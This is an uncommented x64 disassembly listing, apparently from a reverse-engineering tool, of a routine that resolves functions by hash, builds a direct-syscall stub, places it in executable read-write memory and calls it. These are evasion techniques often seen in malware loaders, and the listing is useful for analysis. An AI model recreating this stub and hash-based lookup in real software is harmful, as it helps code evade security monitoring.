jmp 0x14012d609
lea rax, [rsp + 0xd818]
mov rdi, rax
xor eax, eax
mov ecx, Ordinal_41
rep stosb byte [rdi], al
mov qword [rsp + 0xd818], 0x33
mov rax, qword [rsp + 0x5548]
mov qword [rsp + 0xd828], rax
mov rax, qword [rsp + 0x5550]
mov qword [rsp + 0xd830], rax
mov qword [rsp + 0xd838], 8
mov dword [rsp + 0x1b54], 0
mov qword [rsp + 0x8830], 0
mov qword [rsp + 0x8838], 0x28
lea rax, [rsp + 0xd818]
mov qword [rsp + 0x8840], rax
lea rax, [rsp + 0x12488]
mov qword [rsp + 0x8848], rax
mov qword [rsp + 0x8850], 0
mov qword [rsp + 0x8858], 0
mov qword [rsp + 0x8860], 0
mov dword [rsp + 0x1b14], 0x9363e455
mov eax, dword [rsp + 0x1b14]
mov dword [rsp + 0x1b18], eax
lea rcx, [rsp + 0x1b18]
call fcn.1400a2c20
mov dword [rsp + 0x63c0], eax
mov dword [rsp + 0x63c4], 0
lea rax, [rsp + 0x63c8]
mov qword [rsp + 0x8828], rax
mov dword [rsp + 0x1b50], 0x49
mov dword [rsp + 0x1b4c], 0x89
mov dword [rsp + 0x1b48], 0xca
mov dword [rsp + 0x1b44], 0x48
mov dword [rsp + 0x1b40], 0xc7
mov dword [rsp + 0x1b3c], 0xc0
mov dword [rsp + 0x1b38], 0x3f
mov dword [rsp + 0x1b34], 0x10
mov dword [rsp + 0x1b30], 0
mov dword [rsp + 0x1b2c], 0
mov dword [rsp + 0x1b28], 0xf
mov dword [rsp + 0x1b24], 5
mov dword [rsp + 0x1b20], 0xc3
lea rax, [rsp + 0x1b20]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x1b24]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x1b28]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x1b2c]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x1b30]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x1b34]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x1b38]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x1b3c]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x1b40]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x1b44]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x1b48]
lea r8, [rsp + 0x1b4c]
lea rdx, [rsp + 0x1b50]
mov rcx, qword [rsp + 0x8828]
call fcn.14008f900
mov byte [rsp + 0x241], 1
mov byte [rsp + 0x242], 0
movsxd rax, dword [rsp + 0x1b54]
mov qword [rsp + 0x89a0], rax
mov byte [rsp + 0x243], 0
mov byte [rsp + 0x244], 0
mov rax, qword [rsp + 0x8830]
mov qword [rsp + 0x89a8], rax
mov byte [rsp + 0x245], 0
mov byte [rsp + 0x246], 1
mov rax, qword [rsp + 0x8838]
mov qword [rsp + 0x89b0], rax
mov byte [rsp + 0x247], 0
mov byte [rsp + 0x248], 0
mov rax, qword [rsp + 0x8840]
mov qword [rsp + 0x89b8], rax
mov byte [rsp + 0x249], 0
mov byte [rsp + 0x24a], 1
mov eax, dword [0x1403f9fa8]
mov qword [rsp + 0x89c0], rax
mov byte [rsp + 0x24b], 0
mov byte [rsp + 0x24c], 0
mov rax, qword [rsp + 0x8848]
mov qword [rsp + 0x89c8], rax
mov byte [rsp + 0x24d], 0
mov byte [rsp + 0x24e], 0
mov rax, qword [rsp + 0x8850]
mov qword [rsp + 0x89d0], rax
mov byte [rsp + 0x24f], 0
mov byte [rsp + 0x250], 0
mov rax, qword [rsp + 0x8858]
mov qword [rsp + 0x89d8], rax
mov byte [rsp + 0x251], 0
mov byte [rsp + 0x252], 0
mov rax, qword [rsp + 0x8860]
mov qword [rsp + 0x89e0], rax
mov byte [rsp + 0x253], 0
mov byte [rsp + 0x254], 0
mov rax, qword [rsp + 0x8868]
mov qword [rsp + 0x89e8], rax
mov eax, dword [rsp + 0x63c0]
mov dword [rsp + 0x1b58], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xe9f0]
call fcn.14009a050
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x8870], rax
lea r8, [rsp + 0x1b58]
lea rdx, [rsp + 0x5558]
mov rcx, qword [rsp + 0x8870]
call fcn.140096f50
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x8878], rax
lea rdx, [rsp + 0xde68]
mov rcx, qword [rsp + 0x8878]
call fcn.140190560
mov rdx, rax
lea rcx, [rsp + 0x5558]
call fcn.1400a2a70
movzx eax, al
test eax, eax
je 0x14012c8c1
mov qword [rsp + 0x5560], 0
jmp 0x14012c8da
lea rcx, [rsp + 0x5558]
call fcn.1400a2c30
mov rax, qword [rax + 8]
mov qword [rsp + 0x5560], rax
mov rax, qword [rsp + 0x5560]
mov qword [rsp + 0x8880], rax
lea rcx, [rsp + 0xe9f0]
call fcn.1400a0f10
mov rax, qword [rsp + 0x8880]
mov qword [rsp + 0x5568], rax
cmp qword [rsp + 0x5568], 0
je 0x14012c937
mov rax, qword [rsp + 0x5568]
mov eax, dword [rax + 4]
mov dword [rsp + 0x1b60], eax
mov eax, dword [rsp + 0x1b60]
mov dword [rsp + 0x63c4], eax
jmp 0x14012d3c5
lea rax, [rsp + 0xcfc4]
mov qword [rsp + 0x8888], rax
xor edx, edx
mov rcx, qword [rsp + 0x8888]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x1b64], eax
lea rax, [rsp + 0xcfc8]
mov qword [rsp + 0x8890], rax
mov edx, dword [rsp + 0x63c0]
mov rcx, qword [rsp + 0x8890]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x1b68], eax
mov eax, dword [rsp + 0x1b64]
mov dword [rsp + 0x928], eax
mov eax, dword [rsp + 0x1b68]
mov dword [rsp + 0x940], eax
xor edx, edx
lea rcx, [rsp + 0x1b6c]
call fcn.14009b2f0
lea rdx, [rsp + 0x1b6c]
lea rcx, [rsp + 0x940]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
je 0x14012c9e4
mov qword [rsp + 0x1270], 0
jmp 0x14012d2e3
mov byte [rsp + 0x255], 1
mov qword [rsp + 0x6da0], 0
mov qword [rsp + 0x6da8], 0
call fcn.1401956d0
add rax, 0x10
mov qword [rsp + 0x3d70], rax
mov eax, 1
test eax, eax
je 0x14012ca36
mov rax, qword [rsp + 0x3d70]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rsp + 0x5570], rax
jmp 0x14012ca49
mov rax, qword [rsp + 0x3d70]
mov rax, qword [rax]
mov qword [rsp + 0x5570], rax
mov rax, qword [rsp + 0x5570]
mov qword [rsp + 0x6da0], rax
mov rax, qword [rsp + 0x3d70]
mov qword [rsp + 0x6da8], rax
lea rax, [rsp + 0x6da0]
mov qword [rsp + 0x5578], rax
lea rdx, [rsp + 0x1268]
mov rcx, qword [rsp + 0x5578]
call fcn.14018efb0
lea rdx, [rsp + 0x8898]
mov rcx, qword [rsp + 0x5578]
call fcn.140190a30
jmp 0x14012cab8
mov rax, qword [rsp + 0x1268]
mov rax, qword [rax]
mov qword [rsp + 0x1268], rax
mov rax, qword [rsp + 0x8898]
cmp qword [rsp + 0x1268], rax
je 0x14012cad7
mov dword [rsp + 0x924], 1
jmp 0x14012cae2
mov dword [rsp + 0x924], 0
movzx eax, byte [rsp + 0x924]
test eax, eax
je 0x14012d2d7
xor edx, edx
mov rcx, qword [rsp + 0x1268]
call fcn.140096d90
mov qword [rsp + 0x88a0], rax
lea rax, [rsp + 0x88a0]
mov qword [rsp + 0x5580], rax
xor edx, edx
lea rcx, [rsp + 0x1b70]
call fcn.14009b2f0
lea rdx, [rsp + 0x1b70]
lea rcx, [rsp + 0x928]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x14012cd82
mov rax, qword [rsp + 0x5580]
mov rax, qword [rax]
add rax, 0x58
mov qword [rsp + 0x88a8], rax
lea rdx, [rsp + 0x12498]
mov rcx, qword [rsp + 0x88a8]
call fcn.14019acf0
lea rcx, [rsp + 0xea00]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x928]
mov dword [rsp + 0x1b74], eax
lea rax, [rsp + 0xd210]
lea rcx, [rsp + 0xea00]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x1b74]
mov dword [rsp + 0x930], eax
lea rax, [rsp + 0x1b78]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x1b78]
call fcn.14009b310
mov qword [rsp + 0x88b0], rax
lea rax, [rsp + 0xea10]
lea rcx, [rsp + 0xd210]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xea20]
lea rcx, [rsp + 0xea10]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xea20]
mov rcx, qword [rsp + 0x88b0]
call fcn.140097890
mov dword [rsp + 0x1b80], eax
lea rcx, [rsp + 0xd210]
call fcn.14018df50
sub rax, 4
mov qword [rsp + 0x88b8], rax
mov r9, qword [rsp + 0x88b8]
xor r8d, r8d
lea rdx, [rsp + 0xea30]
lea rcx, [rsp + 0xd210]
call fcn.14019ab70
lea rax, [rsp + 0x1b7c]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x1b7c]
call fcn.14009b310
mov qword [rsp + 0x88c0], rax
lea rax, [rsp + 0xea40]
lea rcx, [rsp + 0xea30]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xea50]
lea rcx, [rsp + 0xea40]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xea50]
mov rcx, qword [rsp + 0x88c0]
call fcn.140097890
mov dword [rsp + 0x1b88], eax
mov edx, dword [rsp + 0x1b80]
lea rcx, [rsp + 0x1b84]
call fcn.14009b2f0
lea rdx, [rsp + 0x1b84]
lea rcx, [rsp + 0x930]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x14012cd66
mov edx, dword [rsp + 0x1b88]
lea rcx, [rsp + 0x1b8c]
call fcn.14009b2f0
lea rdx, [rsp + 0x1b8c]
lea rcx, [rsp + 0x930]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x14012cd66
mov dword [rsp + 0x938], 1
jmp 0x14012cd71
mov dword [rsp + 0x938], 0
movzx eax, byte [rsp + 0x938]
test eax, eax
je 0x14012cd82
jmp 0x14012caa5
mov rax, qword [rsp + 0x5580]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x5588], rax
mov rax, qword [rsp + 0x5588]
mov qword [rsp + 0x43d8], rax
mov rax, qword [rsp + 0x5588]
mov qword [rsp + 0x88c8], rax
mov rax, qword [rsp + 0x88c8]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0x88d0], rax
mov rax, qword [rsp + 0x88d0]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x88d8], rax
mov eax, dword [rsp + 0x88d8]
add rax, qword [rsp + 0x43d8]
mov qword [rsp + 0x88e0], rax
mov rax, qword [rsp + 0x88e0]
mov qword [rsp + 0x43e0], rax
lea rdx, [rsp + 0x940]
lea rcx, [rsp + 0xcfcc]
call fcn.1400986a0
mov r8d, dword [rax]
lea rdx, [rsp + 0x11bb0]
lea rcx, [rsp + 0x43d8]
call fcn.140097040
lea rdx, [rsp + 0x136f0]
lea rcx, [rsp + 0x43d8]
call fcn.1401906d0
mov rdx, rax
lea rcx, [rsp + 0x11bb0]
call fcn.1400a2af0
movzx eax, al
test eax, eax
je 0x14012ce6e
jmp 0x14012caa5
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
and eax, 1
test eax, eax
jne 0x14012cef1
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
or eax, 1
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov edi, reloc.WLDAP32.dll_Ordinal_32
mov edi, edi
mov rcx, qword [rdx + rcx*8]
mov dword [rdi + rcx], eax
mov eax, 8
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
add rax, qword [rdx + rcx*8]
mov rcx, rax
call fcn.140091670
lea rax, [rsp + 0x11bc0]
mov qword [rsp + 0x5590], rax
mov rcx, qword [rsp + 0x5590]
call fcn.140097960
mov qword [rsp + 0xde70], rax
mov rcx, qword [rsp + 0x5590]
call fcn.140097950
mov qword [rsp + 0x3d80], rax
mov rax, qword [rsp + 0x3d80]
mov rax, qword [rax]
mov qword [rsp + 0x55a8], rax
mov rax, qword [rsp + 0x43d8]
mov qword [rsp + 0x88e8], rax
mov rax, qword [rsp + 0x88e8]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0x88f0], rax
mov rax, qword [rsp + 0x88f0]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x5598], rax
mov eax, dword [rsp + 0x5598]
add rax, qword [rsp + 0x43d8]
mov qword [rsp + 0x55a0], rax
mov eax, dword [rsp + 0x559c]
mov rcx, qword [rsp + 0x55a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x88f8], rax
mov rax, qword [rsp + 0x55a0]
cmp qword [rsp + 0x55a8], rax
jb 0x14012cfe3
mov rax, qword [rsp + 0x88f8]
cmp qword [rsp + 0x55a8], rax
jae 0x14012cfe3
mov dword [rsp + 0x948], 1
jmp 0x14012cfee
mov dword [rsp + 0x948], 0
movzx eax, byte [rsp + 0x948]
mov byte [rsp + 0xe4], al
movzx eax, byte [rsp + 0xe4]
test eax, eax
je 0x14012d2bd
mov rax, qword [rsp + 0x3d80]
mov rax, qword [rax]
mov qword [rsp + 0x8900], rax
mov rax, qword [rsp + 0x8900]
mov qword [rsp + 0x8908], rax
lea rax, [rsp + 0x124a8]
mov qword [rsp + 0x8910], rax
mov rdx, qword [rsp + 0x8908]
mov rcx, qword [rsp + 0x8910]
call fcn.140095590
lea rcx, [rsp + 0x6db0]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
xor r8d, r8d
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rsp + 0x6db0]
call fcn.140191090
mov qword [rsp + 0x3d78], rax
cmp qword [rsp + 0x3d78], 0xffffffffffffffff
je 0x14012d0f8
mov r9, qword [rsp + 0x3d78]
xor r8d, r8d
lea rdx, [rsp + 0xea70]
lea rcx, [rsp + 0x6db0]
call fcn.14019aaa0
mov rax, qword [rsp + 0x3d78]
inc rax
mov r9, 0xffffffffffffffff
mov r8, rax
lea rdx, [rsp + 0xea60]
lea rcx, [rsp + 0x6db0]
call fcn.14019aaa0
lea r8, [rsp + 0xea60]
lea rdx, [rsp + 0xea70]
lea rcx, [rsp + 0x11070]
call fcn.14008f7e0
jmp 0x14012d133
lea rax, [rsp + 0x6db0]
mov qword [rsp + 0x8918], rax
lea rcx, [rsp + 0xea80]
call fcn.140099fb0
lea r8, [rsp + 0xea80]
mov rdx, qword [rsp + 0x8918]
lea rcx, [rsp + 0x11070]
call fcn.14008f7e0
nop
lea rcx, [rsp + 0x11070]
call fcn.140097960
mov qword [rsp + 0x8920], rax
lea rcx, [rsp + 0x11070]
call fcn.140097950
mov qword [rsp + 0x8938], rax
lea rax, [rsp + 0xcfd0]
mov qword [rsp + 0x8930], rax
lea rax, [rsp + 0x1b90]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x1b90]
call fcn.14009b310
mov qword [rsp + 0x8928], rax
lea rax, [rsp + 0xea90]
mov rdi, rax
mov rsi, qword [rsp + 0x8920]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xeaa0]
lea rcx, [rsp + 0xea90]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xeaa0]
mov rcx, qword [rsp + 0x8928]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0x8930]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x1b98], eax
lea rax, [rsp + 0xcfd4]
mov qword [rsp + 0x8948], rax
lea rax, [rsp + 0x1b94]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x1b94]
call fcn.14009b310
mov qword [rsp + 0x8940], rax
lea rax, [rsp + 0xeab0]
mov rdi, rax
mov rsi, qword [rsp + 0x8938]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xeac0]
lea rcx, [rsp + 0xeab0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xeac0]
mov rcx, qword [rsp + 0x8940]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0x8948]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x1b9c], eax
mov r8d, dword [rsp + 0x1b98]
mov edx, dword [rsp + 0x1b9c]
lea rcx, [rsp + 0x3d88]
call fcn.140191150
mov qword [rsp + 0x1270], rax
jmp 0x14012d2e3
mov rax, qword [rsp + 0x3d80]
mov rax, qword [rax]
mov qword [rsp + 0x1270], rax
jmp 0x14012d2e3
mov qword [rsp + 0x1270], 0
mov rax, qword [rsp + 0x1270]
mov qword [rsp + 0x3d88], rax
lea rcx, [rsp + 0x3d88]
call fcn.1400a2c10
mov qword [rsp + 0x8950], rax
mov eax, dword [rsp + 0x63c0]
mov dword [rsp + 0x1ba0], eax
mov rax, qword [rsp + 0x8950]
mov qword [rsp + 0x8958], rax
mov eax, dword [rsp + 0x1ba0]
mov dword [rsp + 0x1ba8], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xead0]
call fcn.14009a190
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x8960], rax
lea r9, [rsp + 0x8958]
lea r8, [rsp + 0x1ba8]
lea rdx, [rsp + 0x124b8]
mov rcx, qword [rsp + 0x8960]
call fcn.140098320
lea rcx, [rsp + 0xead0]
call fcn.1400a0f80
lea rcx, [rsp + 0x3d88]
call fcn.1400a2c10
mov qword [rsp + 0x8968], rax
mov rax, qword [rsp + 0x8968]
mov eax, dword [rax + 4]
mov dword [rsp + 0x1bb0], eax
mov eax, dword [rsp + 0x1bb0]
mov dword [rsp + 0x63c4], eax
lea rax, [rsp + 0x63c8]
mov qword [rsp + 0x8970], rax
mov eax, dword [rsp + 0x63c4]
mov dword [rsp + 0x1bb8], eax
mov rax, qword [rsp + 0x8970]
add rax, 0x11
mov qword [rsp + 0x8978], rax
mov eax, 6
mov edx, eax
mov rcx, qword [rsp + 0x8978]
call fcn.1400a2b40
mov ecx, dword [rsp + 0x1bb8]
mov dword [rax], ecx
lea rax, [rsp + 0x63c8]
mov qword [rsp + 0x5c0], rax
mov rax, qword [rsp + 0x5c0]
add rax, 0x10
mov qword [rsp + 0xde78], rax
mov rax, qword [0x1404d0cd8]
mov qword [rsp + 0x8980], rax
mov qword [rsp + 0x55b0], 0
mov qword [rsp + 0x8988], 0xd
mov rax, qword [rsp + 0x8980]
mov qword [rsp + 0x8990], rax
mov eax, 0x3000
and eax, 0xffffffc0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0x8988]
xor r8d, r8d
lea rdx, [rsp + 0x55b0]
mov rcx, 0xffffffffffffffff
call qword [rsp + 0x8990]
mov dword [rsp + 0x1bc0], eax
cmp dword [rsp + 0x1bc0], 0
jl 0x14012d4c7
mov rax, qword [rsp + 0x55b0]
mov qword [rsp + 0x55b8], rax
jmp 0x14012d4d3
mov qword [rsp + 0x55b8], 0
mov rax, qword [rsp + 0x55b8]
mov qword [rsp + 0x8998], rax
mov rax, qword [rsp + 0x5c0]
mov rcx, qword [rsp + 0x8998]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x5c0]
cmp qword [rax + 8], 0
jne 0x14012d508
jmp 0x14012d54c
mov rax, qword [rsp + 0x5c0]
add rax, 0x11
mov rcx, rax
call fcn.140097960
mov rcx, qword [rsp + 0x5c0]
mov rcx, qword [rcx + 8]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_listen
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x5c0]
mov rcx, qword [rsp + 0x5c0]
mov rcx, qword [rcx + 8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x63c8]
mov qword [rsp + 0x89f0], rax
mov rax, qword [rsp + 0x89a0]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x89a8]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x89b0]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x89b8]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x89c0]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x89c8]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x89d0]
mov r8, qword [rsp + 0x89d8]
mov rdx, qword [rsp + 0x89e0]
mov rcx, qword [rsp + 0x89e8]
call qword [rsp + 0x89f0]
mov dword [rsp + 0x1bc4], eax
lea rcx, [rsp + 0x63c0]
call fcn.1400a0ed0
mov eax, dword [rsp + 0x1bc4]
mov dword [rsp + 0x1bc8], eax
cmp dword [rsp + 0x1bc8], 0
jge 0x14012d604
mov byte [rsp + 0x7b], 0
jmp 0x14012d609
mov byte [rsp + 0x7b], 1
movzx eax, byte [rsp + 0x7b]
test eax, eax
je 0x14012d61d
cmp qword [rsp + 0x1298], 0
jne 0x14012d62a
mov dword [rsp + 0x74], 0
jmp 0x1401344d1
mov qword [rsp + 0x5f0], 0
lea rax, [rsp + 0x5f0]
mov qword [rsp + 0x55c8], rax
mov rax, qword [rsp + 0x720]
add rax, 0x18
mov qword [rsp + 0x55c0], rax
mov rax, qword [rsp + 0x170]
mov qword [rsp + 0x8a38], rax
cmp qword [rsp + 0x55c8], 0
je 0x14012d688
cmp qword [rsp + 0x55c0], 0
je 0x14012d688
xor eax, eax
cmp rax, 8
jne 0x14012d692
mov byte [rsp + 0x7c], 0
jmp 0x14012e7eb
lea rax, [rsp + 0xd840]
mov rdi, rax
xor eax, eax
mov ecx, Ordinal_41
rep stosb byte [rdi], al
mov qword [rsp + 0xd840], 0x33
mov rax, qword [rsp + 0x55c0]
mov qword [rsp + 0xd850], rax
mov rax, qword [rsp + 0x55c8]
mov qword [rsp + 0xd858], rax
mov qword [rsp + 0xd860], 8
mov dword [rsp + 0x1c0c], 0
mov qword [rsp + 0x8a00], 0
mov qword [rsp + 0x8a08], 0x28
lea rax, [rsp + 0xd840]
mov qword [rsp + 0x8a10], rax
lea rax, [rsp + 0x124c8]
mov qword [rsp + 0x8a18], rax
mov qword [rsp + 0x8a20], 0
mov qword [rsp + 0x8a28], 0
mov qword [rsp + 0x8a30], 0
mov dword [rsp + 0x1bcc], 0x9363e455
mov eax, dword [rsp + 0x1bcc]
mov dword [rsp + 0x1bd0], eax
lea rcx, [rsp + 0x1bd0]
call fcn.1400a2c20
mov dword [rsp + 0x63e8], eax
mov dword [rsp + 0x63ec], 0
lea rax, [rsp + 0x63f0]
mov qword [rsp + 0x89f8], rax
mov dword [rsp + 0x1c08], 0x49
mov dword [rsp + 0x1c04], 0x89
mov dword [rsp + 0x1c00], 0xca
mov dword [rsp + 0x1bfc], 0x48
mov dword [rsp + 0x1bf8], 0xc7
mov dword [rsp + 0x1bf4], 0xc0
mov dword [rsp + 0x1bf0], 0x3f
mov dword [rsp + 0x1bec], 0x10
mov dword [rsp + 0x1be8], 0
mov dword [rsp + 0x1be4], 0
mov dword [rsp + 0x1be0], 0xf
mov dword [rsp + 0x1bdc], 5
mov dword [rsp + 0x1bd8], 0xc3
lea rax, [rsp + 0x1bd8]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x1bdc]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x1be0]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x1be4]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x1be8]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x1bec]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x1bf0]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x1bf4]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x1bf8]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x1bfc]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x1c00]
lea r8, [rsp + 0x1c04]
lea rdx, [rsp + 0x1c08]
mov rcx, qword [rsp + 0x89f8]
call fcn.14008f900
mov byte [rsp + 0x256], 1
mov byte [rsp + 0x257], 0
movsxd rax, dword [rsp + 0x1c0c]
mov qword [rsp + 0x8b70], rax
mov byte [rsp + 0x258], 0
mov byte [rsp + 0x259], 0
mov rax, qword [rsp + 0x8a00]
mov qword [rsp + 0x8b78], rax
mov byte [rsp + 0x25a], 0
mov byte [rsp + 0x25b], 1
mov rax, qword [rsp + 0x8a08]
mov qword [rsp + 0x8b80], rax
mov byte [rsp + 0x25c], 0
mov byte [rsp + 0x25d], 0
mov rax, qword [rsp + 0x8a10]
mov qword [rsp + 0x8b88], rax
mov byte [rsp + 0x25e], 0
mov byte [rsp + 0x25f], 1
mov eax, dword [0x1403f9fa8]
mov qword [rsp + 0x8b90], rax
mov byte [rsp + 0x260], 0
mov byte [rsp + 0x261], 0
mov rax, qword [rsp + 0x8a18]
mov qword [rsp + 0x8b98], rax
mov byte [rsp + 0x262], 0
mov byte [rsp + 0x263], 0
mov rax, qword [rsp + 0x8a20]
mov qword [rsp + 0x8ba0], rax
mov byte [rsp + 0x264], 0
mov byte [rsp + 0x265], 0
mov rax, qword [rsp + 0x8a28]
mov qword [rsp + 0x8ba8], rax
mov byte [rsp + 0x266], 0
mov byte [rsp + 0x267], 0
mov rax, qword [rsp + 0x8a30]
mov qword [rsp + 0x8bb0], rax
mov byte [rsp + 0x268], 0
mov byte [rsp + 0x269], 0
mov rax, qword [rsp + 0x8a38]
mov qword [rsp + 0x8bb8], rax
mov eax, dword [rsp + 0x63e8]
mov dword [rsp + 0x1c10], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xeae0]
call fcn.14009a050
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x8a40], rax
lea r8, [rsp + 0x1c10]
lea rdx, [rsp + 0x55d0]
mov rcx, qword [rsp + 0x8a40]
call fcn.140096f50
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x8a48], rax
lea rdx, [rsp + 0xde80]
mov rcx, qword [rsp + 0x8a48]
call fcn.140190560
mov rdx, rax
lea rcx, [rsp + 0x55d0]
call fcn.1400a2a70
movzx eax, al
test eax, eax
je 0x14012daa3
mov qword [rsp + 0x55d8], 0
jmp 0x14012dabc
lea rcx, [rsp + 0x55d0]
call fcn.1400a2c30
mov rax, qword [rax + 8]
mov qword [rsp + 0x55d8], rax
mov rax, qword [rsp + 0x55d8]
mov qword [rsp + 0x8a50], rax
lea rcx, [rsp + 0xeae0]
call fcn.1400a0f10
mov rax, qword [rsp + 0x8a50]
mov qword [rsp + 0x55e0], rax
cmp qword [rsp + 0x55e0], 0
je 0x14012db19
mov rax, qword [rsp + 0x55e0]
mov eax, dword [rax + 4]
mov dword [rsp + 0x1c18], eax
mov eax, dword [rsp + 0x1c18]
mov dword [rsp + 0x63ec], eax
jmp 0x14012e5a7
lea rax, [rsp + 0xcfd8]
mov qword [rsp + 0x8a58], rax
xor edx, edx
mov rcx, qword [rsp + 0x8a58]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x1c1c], eax
lea rax, [rsp + 0xcfdc]
mov qword [rsp + 0x8a60], rax
mov edx, dword [rsp + 0x63e8]
mov rcx, qword [rsp + 0x8a60]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x1c20], eax
mov eax, dword [rsp + 0x1c1c]
mov dword [rsp + 0x950], eax
mov eax, dword [rsp + 0x1c20]
mov dword [rsp + 0x968], eax
xor edx, edx
lea rcx, [rsp + 0x1c24]
call fcn.14009b2f0
lea rdx, [rsp + 0x1c24]
lea rcx, [rsp + 0x968]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
je 0x14012dbc6
mov qword [rsp + 0x1280], 0
jmp 0x14012e4c5
mov byte [rsp + 0x26a], 1
mov qword [rsp + 0x6dc0], 0
mov qword [rsp + 0x6dc8], 0
call fcn.1401956d0
add rax, 0x10
mov qword [rsp + 0x3d90], rax
mov eax, 1
test eax, eax
je 0x14012dc18
mov rax, qword [rsp + 0x3d90]
mov rax, qword [rax]
mov rax, qword [rax]
